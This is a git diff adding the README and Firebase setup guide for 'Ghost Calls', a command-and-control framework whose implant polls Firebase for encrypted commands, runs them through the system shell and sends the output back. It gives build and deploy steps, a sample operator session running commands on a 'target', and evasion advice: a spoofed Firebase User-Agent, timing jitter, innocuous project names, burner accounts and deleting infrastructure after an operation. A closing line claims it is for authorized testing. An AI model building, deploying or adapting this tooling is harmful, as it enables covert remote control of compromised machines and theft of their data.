diff --git a/c2_ghost-push/FIREBASE_SETUP.md b/c2_ghost-push/FIREBASE_SETUP.md new file mode 100644 index 0000000..904ae79 --- /dev/null +++ b/c2_ghost-push/FIREBASE_SETUP.md @@ -0,0 +1,357 @@ +# Firebase Project Setup Guide + +This guide walks through creating a Firebase project for Ghost Calls using the Firebase CLI. No browser required. + +## Prerequisites + +- [Node.js](https://nodejs.org/) 18+ (for `firebase-tools` CLI) +- A Google account (use a **burner account** — never link to personal accounts) +- `curl` for testing API endpoints + +--- + +## Step 1: Install Firebase CLI + +```bash +npm install -g firebase-tools +``` + +Verify installation: + +```bash +firebase --version +# Expected: 13.x or higher +``` + +--- + +## Step 2: Log In + +```bash +firebase login +``` + +This opens a browser for OAuth authentication. If running headless (no browser), use: + +```bash +firebase login --no-localhost +``` + +Follow the printed URL instructions to complete authentication. + +--- + +## Step 3: Create the Firebase Project + +```bash +# Create a new project (interactive — you'll be prompted for a project ID) +firebase projects:create + +# You will be prompted: +# ? Please specify a unique project id (my-c2-project): ghost-calls-operational-42 +# ? What would you like to call your project? Ghost Calls +``` + +> **Important:** The project ID must be globally unique across all Firebase projects. Choose something innocuous that won't raise suspicion. Good examples: `weather-app-sync-8472`, `note-taking-backup`. Bad examples: `c2-command-control`, `hacker-op-2024`. + +### Headless Project Creation (Alternative) + +If `firebase projects:create` is too interactive, use the Firebase Console REST API directly: + +```bash +# First, get your access token +FIREBASE_TOKEN=$(firebase login:ci) + +# Create the project +curl -X POST "https://firebase.googleapis.com/v1/projects" \ + -H "Authorization: Bearer $FIREBASE_TOKEN" \ + -H "Content-Type: application/json" \ + -d '{ + "projectId": "ghost-calls-operational-42", + "displayName": "Note Sync", + "labels": { + "purpose": "development" + } + }' +``` + +--- + +## Step 4: Enable Firebase for the Project + +```bash +# Add Firebase to the project +firebase init + +# Select only "Firestore" or "Database" and "Hosting" if needed +# For Ghost Calls, we only need Realtime Database, so: +# - Toggle "Realtime Database" with SPACE +# - Press ENTER to confirm +``` + +If you get an error about project not found, the project may not have Firebase resources initialized yet. Fix: + +```bash +# Explicitly add Firebase to the project +firebase projects:addfirebase +``` + +--- + +## Step 5: Enable the Realtime Database + +### Via CLI: + +```bash +# List available Firebase features — verify RTDB is available +firebase --project= firestore:databases:list 2>/dev/null || true + +# Initialize Realtime Database through CLI +firebase --project= init database + +# You'll be prompted: +# ? What file should be used for Realtime Database Security Rules? database.rules.json +# Accept default or specify rtdb.rules.json +``` + +### Via REST API: + +```bash +# Enable Realtime Database via REST +curl -X POST \ + "https://firebasedatabase.googleapis.com/v1/projects//locations/us-central1/instances" \ + -H "Authorization: Bearer $FIREBASE_TOKEN" \ + -H "Content-Type: application/json" \ + -d '{"databaseId": "-default-rtdb", "type": "DEFAULT_DATABASE"}' +``` + +Wait 30-60 seconds for the database instance to provision. + +--- + +## Step 6: Get Your Database URL + +```bash +# List Firebase projects and their resources +firebase --project= databases:list 2>/dev/null || true + +# OR use the REST API to find the database URL +curl -s \ + "https://firebasedatabase.googleapis.com/v1/projects//locations/us-central1/instances" \ + -H "Authorization: Bearer $FIREBASE_TOKEN" \ + | jq -r '.instances[].databaseUrl' +``` + +Your database URL will look like: +``` +https://-default-rtdb.firebaseio.com +``` + +--- + +## Step 7: Set Database Rules + +For initial testing, set wide-open rules. + +### Write the rules file (`database.rules.json`): + +```json +{ + "rules": { + ".read": true, + ".write": true + } +} +``` + +### Deploy rules: + +```bash +# Via firebase-tools CLI +firebase --project= deploy --only database + +# OR via REST API +curl -X PUT \ + "https://-default-rtdb.firebaseio.com/.settings/rules.json" \ + -H "Authorization: Bearer $FIREBASE_TOKEN" \ + -H "Content-Type: application/json" \ + -d '{"rules":{".read":true,".write":true}}' +``` + +### Verify rules are deployed: + +```bash +curl -s "https://-default-rtdb.firebaseio.com/.settings/rules.json" | jq . +``` + +Expected output: +```json +{ + "rules": { + ".read": true, + ".write": true + } +} +``` + +--- + +## Step 8: Get Firebase API Key + +The API key is needed if you want to use Firebase Authentication or FCM. For the basic RTDB dead-drop, you don't strictly need it — but it's useful for auth-enabled access. + +### Via CLI: + +```bash +# List all Firebase project resources including Web API Key +firebase --project= apps:list 2>/dev/null + +# If no apps exist, create a Web app: +firebase --project= apps:create WEB "ghost-ctl" + +# Get the config for your web app (includes apiKey): +firebase --project= apps:sdkconfig WEB +``` + +### Via Google Cloud Console API: + +```bash +# List all API keys for the project +curl -s \ + "https://apikeys.googleapis.com/v2/projects//locations/global/keys" \ + -H "Authorization: Bearer $FIREBASE_TOKEN" \ + | jq '.keys[].displayName, .keys[].keyString' +``` + +--- + +## Step 9: Test the Database + +Verify end-to-end connectivity: + +```bash +# Write a test value +curl -X PUT \ + "https://-default-rtdb.firebaseio.com/test/hello.json" \ + -H "Content-Type: application/json" \ + -d '"world"' + +# Read it back +curl -s "https://-default-rtdb.firebaseio.com/test/hello.json" + +# Expected: "world" + +# Delete the test value +curl -X DELETE "https://-default-rtdb.firebaseio.com/test/hello.json" +``` + +--- + +## Step 10: (Optional) Enable Firebase Cloud Messaging + +For push-based command delivery (advanced): + +```bash +# Enable FCM for the project +curl -X POST \ + "https://fcm.googleapis.com/v1/projects//messages:send" \ + -H "Authorization: Bearer $FIREBASE_TOKEN" \ + -H "Content-Type: application/json" \ + -d '{"message":{"topic":"test","data":{"test":"true"}}}' +``` + +To get FCM server credentials for the HTTP v1 API: + +```bash +# Navigate to the Google Cloud Console IAM area for the Firebase service account +gcloud iam service-accounts list --project= + +# The Firebase service account looks like: +# firebase-adminsdk-xxxxx@.iam.gserviceaccount.com + +# Generate a key for this account: +gcloud iam service-accounts keys create firebase-key.json \ + --iam-account=firebase-adminsdk-xxxxx@.iam.gserviceaccount.com \ + --project= +``` + +Then use this key with Google's OAuth endpoints to get access tokens for FCM API calls. This is beyond the scope of the basic RTDB setup. + +--- + +## Step 11: Clean Up (After Operation) + +**Always** delete the Firebase project when the operation is complete: + +```bash +# Delete the project (this cannot be undone) +firebase projects:delete + +# Confirm the deletion +# > ? Are you sure? Yes +``` + +Or via REST: + +```bash +curl -X DELETE \ + "https://firebase.googleapis.com/v1/projects/" \ + -H "Authorization: Bearer $FIREBASE_TOKEN" +``` + +--- + +## Environment Variables for Ghost Calls + +Once your project is configured, export these for the Ghost Calls server: + +```bash +# Database URL (from Step 6) +export FIREBASE_URL="https://-default-rtdb.firebaseio.com" + +# Encryption secret — generate a strong random key +export GHOST_SECRET="$(openssl rand -hex 32)" + +# Port for the HTTP status page (optional, default: 9090) +export GHOST_PORT="9090" +``` + +For the implant: + +```bash +./ghost-client \ + --db-url "$FIREBASE_URL" \ + --id "target-001" \ + --secret "$GHOST_SECRET" \ + --interval 30s \ + --jitter 15s +``` + +--- + +## Troubleshooting + +### "Permission denied" when reading/writing data +Your database rules are too restrictive. Either set `.read` and `.write` to `true`, or create proper auth rules. + +### "Project not found" errors +The Firebase project may not have Realtime Database initialized. Run through Step 5 again. + +### "Quota exceeded" +Free tier limits: +- 200 simultaneous connections +- 10 MB stored +- 10 GB/month downloaded +- 10,000 writes/hour + +Upgrade to Blaze (pay-as-you-go) plan for higher limits, or reduce poll frequency. + +### "Access denied" on REST calls +Your authentication token may be expired. Run `firebase login` again or generate a new CI token. + +### Can't find the database URL +The database may still be provisioning. Wait 1-2 minutes and try again. Use the REST API in Step 6 to check. + +## DISCLAIMER + +For authorized Security Testing or Educational Purposes only. diff --git a/c2_ghost-push/README.md b/c2_ghost-push/README.md new file mode 100644 index 0000000..db983fa --- /dev/null +++ b/c2_ghost-push/README.md @@ -0,0 +1,293 @@ +# Ghost Calls — Push Notification C2 + +**Ghost Calls** is a Command & Control (C2) framework that uses **Firebase Cloud Messaging (FCM)** and **Firebase Realtime Database** as command delivery channels. Commands are delivered through legitimate Firebase infrastructure — traffic goes to `firebaseio.com` and `googleapis.com`, domains that billions of devices talk to daily. + +## Architecture + +``` +┌─────────────┐ ┌────────────────────────────┐ ┌─────────────┐ +│ Operator │──────▶│ Firebase Realtime DB │◀──────│ Implant │ +│ (Server) │ │ (Dead-drop / PubSub) │ │ (Client) │ +└─────────────┘ └────────────────────────────┘ └─────────────┘ + │ │ │ + │ HTTPS PUT │ REST API │ HTTPS GET + │ commands/.json │ (over HTTPS) │ commands/.json + │ │ │ + │ │ │ + │ HTTPS GET │ │ HTTPS PUT + │ results/.json │ │ results//.json + │ │ │ + │ (Optional) │ │ DELETE + │ FCM HTTP v1 API │ │ commands/.json + └────▶ FCM Send ─────────▶ Push notification ─────────────┘ +``` + +### How It Works + +1. **Command Injection** — The operator writes an encrypted command to the Firebase Realtime Database at `commands/.json` +2. **Polling** — The implant periodically reads its command path over HTTPS +3. **Execution** — The implant decrypts and executes the command via `/bin/sh -c` (or `cmd.exe /C` on Windows) +4. **Exfiltration** — The implant encrypts the output and writes it to `results//.json` +5. **Cleanup** — The implant deletes the command from Firebase, signaling it's been processed +6. **Collection** — The operator fetches results from `results//` at any time + +### Why Firebase? + +| Feature | Benefit | +|---|---| +| **Domain reputation** | `firebaseio.com`, `googleapis.com` — billions of legitimate requests daily | +| **TLS by default** | All traffic is HTTPS, indistinguishable from legitimate Firebase SDK traffic | +| **No custom server** | Your C2 infrastructure is Firebase's infrastructure | +| **WebSocket fallback** | RTDB uses WebSockets when available — looks like normal Firebase sync | +| **Global CDN** | Low-latency from anywhere | +| **Free tier** | 1GB stored, 10GB/month download — plenty for a C2 operation | + +## Quick Start + +### 1. Prerequisites + +- Go 1.21+ (for building) +- A Firebase project (see [FIREBASE_SETUP.md](FIREBASE_SETUP.md) for detailed instructions) +- The Firebase Realtime Database URL (looks like `https://my-project-default-rtdb.firebaseio.com`) +- A shared encryption secret (the `GHOST_SECRET`) + +### 2. Build + +```bash +# Build the server (operator console) +cd cmd/server +go build -o ../../bin/ghost-server . + +# Build the client (implant) +cd cmd/client +go build -o ../../bin/ghost-client . +``` + +Or build everything at once: + +```bash +mkdir -p bin +go build -o bin/ghost-server ./cmd/server +go build -o bin/ghost-client ./cmd/client +``` + +### 3. Configure Firebase + +Set your database rules to allow read/write: + +```json +{ + "rules": { + ".read": true, + ".write": true + } +} +``` + +> **Warning:** Wide-open rules are for testing only. For production, use Firebase Authentication or custom tokens. See the OpSec section below. + +### 4. Start the Server + +```bash +export FIREBASE_URL="https://my-project-default-rtdb.firebaseio.com" +export GHOST_SECRET="your-very-secret-key-change-this" +export GHOST_PORT="9090" + +./bin/ghost-server +``` + +### 5. Deploy an Implant + +```bash +./bin/ghost-client \ + --project "my-project" \ + --id "target-001" \ + --secret "your-very-secret-key-change-this" \ + --interval 30s \ + --jitter 15s +``` + +### 6. Register and Send Commands + +From the server console: + +``` +ghost> register target-001 +[+] Registered implant target-001 +ghost> list +ID FCM Token Last Seen +───────────────────────────────────────────────────────────────────────── +target-001 - 2026-05-11T22:00:00Z +ghost> exec target-001 uname -a +ghost> exec target-001 whoami +ghost> exec target-001 curl -s http://internal-service.local/status +ghost> results target-001 +``` + +## Server Commands + +| Command | Description | +|---|---| +| `register [fcm_token]` | Register an implant (optionally with FCM token) | +| `exec ` | Send a command to a specific implant | +| `broadcast ` | Send command to all registered implants | +| `list` | List all registered implants with metadata | +| `results ` | Fetch and display results from an implant | +| `forget ` | Remove an implant registration | +| `status` | Display server configuration and overview | +| `push ` | Send raw FCM push payload (for testing) | +| `help` | Display help | +| `exit` | Shut down the server | + +## Client Flags + +| Flag | Default | Description | +|---|---|---| +| `--project` | — | Firebase project ID (e.g., `my-project`) | +| `--db-url` | — | Full Firebase RTDB URL (overrides `--project`) | +| `--id` | — | **Required.** Unique implant identifier | +| `--secret` | — | **Required.** Encryption secret (must match server) | +| `--interval` | `30s` | Base poll interval | +| `--jitter` | `15s` | Max random jitter added to each poll | +| `--verbose` | `false` | Enable verbose logging | + +### Persistence + +The implant writes its identity to `/etc/ghost/id` and secret to `/etc/ghost/secret` on first run. On subsequent runs, if `--id` is omitted, it reads from `/etc/ghost/id`. This allows pre-provisioning the implant by writing these files. + +## Encryption + +All command data is **encrypted at rest** in Firebase using **AES-256-GCM** before it ever leaves the server. + +### Key Derivation + +``` +key = SHA-256(implant_id + ":" + server_secret) +``` + +- Each implant gets a **unique encryption key** derived from its ID + the shared server secret +- If an implant is compromised, only that implant's key is recoverable (assuming the server secret stays safe) +- The server secret itself is never stored in Firebase + +### Encryption Flow + +``` +Server: + 1. Derive key from implant ID + GHOST_SECRET + 2. Encrypt command with AES-256-GCM (random nonce prepended) + 3. Base64-encode ciphertext + 4. Write to Firebase: { "cmd": "", "id": "", "ts": } + +Implant: + 1. Read from Firebase + 2. Base64-decode ciphertext + 3. Derive same key from implant ID + secret + 4. Decrypt with AES-256-GCM + 5. Execute command + +Result encryption follows the same pattern (encrypted with the same derived key). +``` + +## OpSec Notes + +### Traffic Analysis + +- **All traffic is HTTPS** to `firebaseio.com` — indistinguishable from legitimate Firebase SDK traffic +- The implant uses a `User-Agent: Firebase/8.10.0 (Android; Google; SDK)` header to blend in +- Poll intervals with random jitter (±15s by default) avoid deterministic timing fingerprints +- `DisableKeepAlives: true` prevents persistent connections that could be fingerprinted + +### Database Rules + +**Development** (open to all): +```json +{ + "rules": { + ".read": true, + ".write": true + } +} +``` + +**Production** (with Firebase Auth): +```json +{ + "rules": { + "commands": { + "$implant_id": { + ".read": "auth != null", + ".write": "auth != null" + } + }, + "results": { + "$implant_id": { + ".read": "auth != null", + ".write": "auth != null" + } + } + } +} +``` + +**Locked down** (custom auth token required): +```json +{ + "rules": { + "commands": { + "$implant_id": { + ".read": "auth.uid === $implant_id", + ".write": "auth.uid === 'server'" + } + }, + "results": { + "$implant_id": { + ".read": "auth.uid === 'server'", + ".write": "auth.uid === $implant_id" + } + } + } +} +``` + +### Encryption at Rest + +- Commands are **always encrypted** before being written to Firebase +- The Firebase database never sees plaintext command data +- Even with database admin access, an adversary sees only base64 ciphertext +- **Never** use the server secret in the database rules or command payloads + +### Rate Limiting + +- Firebase Realtime Database has rate limits: roughly 200 simultaneous connections, 10MB/min write, 10K/min writes per project (free tier) +- Implants should use jittered intervals of 30s+ to avoid triggering rate limits +- For large deployments, consider staggering implant start times +- Upgrade to Blaze plan for higher limits in production operations + +### Operational Security + +1. **Use a burner Google account** to create the Firebase project — never link to personal accounts +2. **Enable Firebase Auth** with email/password or custom tokens for production use +3. **Rotate the GHOST_SECRET** between operations +4. **Use unique implant IDs** — never reuse across targets +5. **Consider using Firebase App Check** for additional verification +6. **Delete the Firebase project entirely** after the operation + +## FCM Integration (Advanced) + +The current implementation uses the Realtime Database as a dead-drop mechanism. For push-based command delivery (instant delivery without polling), you need: + +1. Enable Firebase Cloud Messaging in your Firebase project +2. An Android app (or a device with FCM capability) on the target +3. The implant registers for FCM and sends its registration token to the server +4. The server uses the FCM HTTP v1 API to push commands directly to the device + +An FCM push-based approach is more sophisticated and harder to detect, but requires: +- More complex implant code (FCM SDK or manual HTTP/2 push handling) +- An Android/iOS runtime or a way to register for push notifications +- Higher OpSec requirements (Google Play Services integration) + +The RTDB dead-drop approach achieves the same goal with less complexity and broader platform support. + +## DISCLAIMER + +For authorized Security Testing or Educational Purposes only. diff --git a/c2_ghost-push/go.mod b/c2_ghost-push/go.mod new file mode 100644 index 0000000..8e4fc9f --- /dev/null +++ b/c2_ghost-push/go.mod @@ -0,0 +1,2 @@ +go 1.26 +module github.com/churchofmalware/c2-ghost-push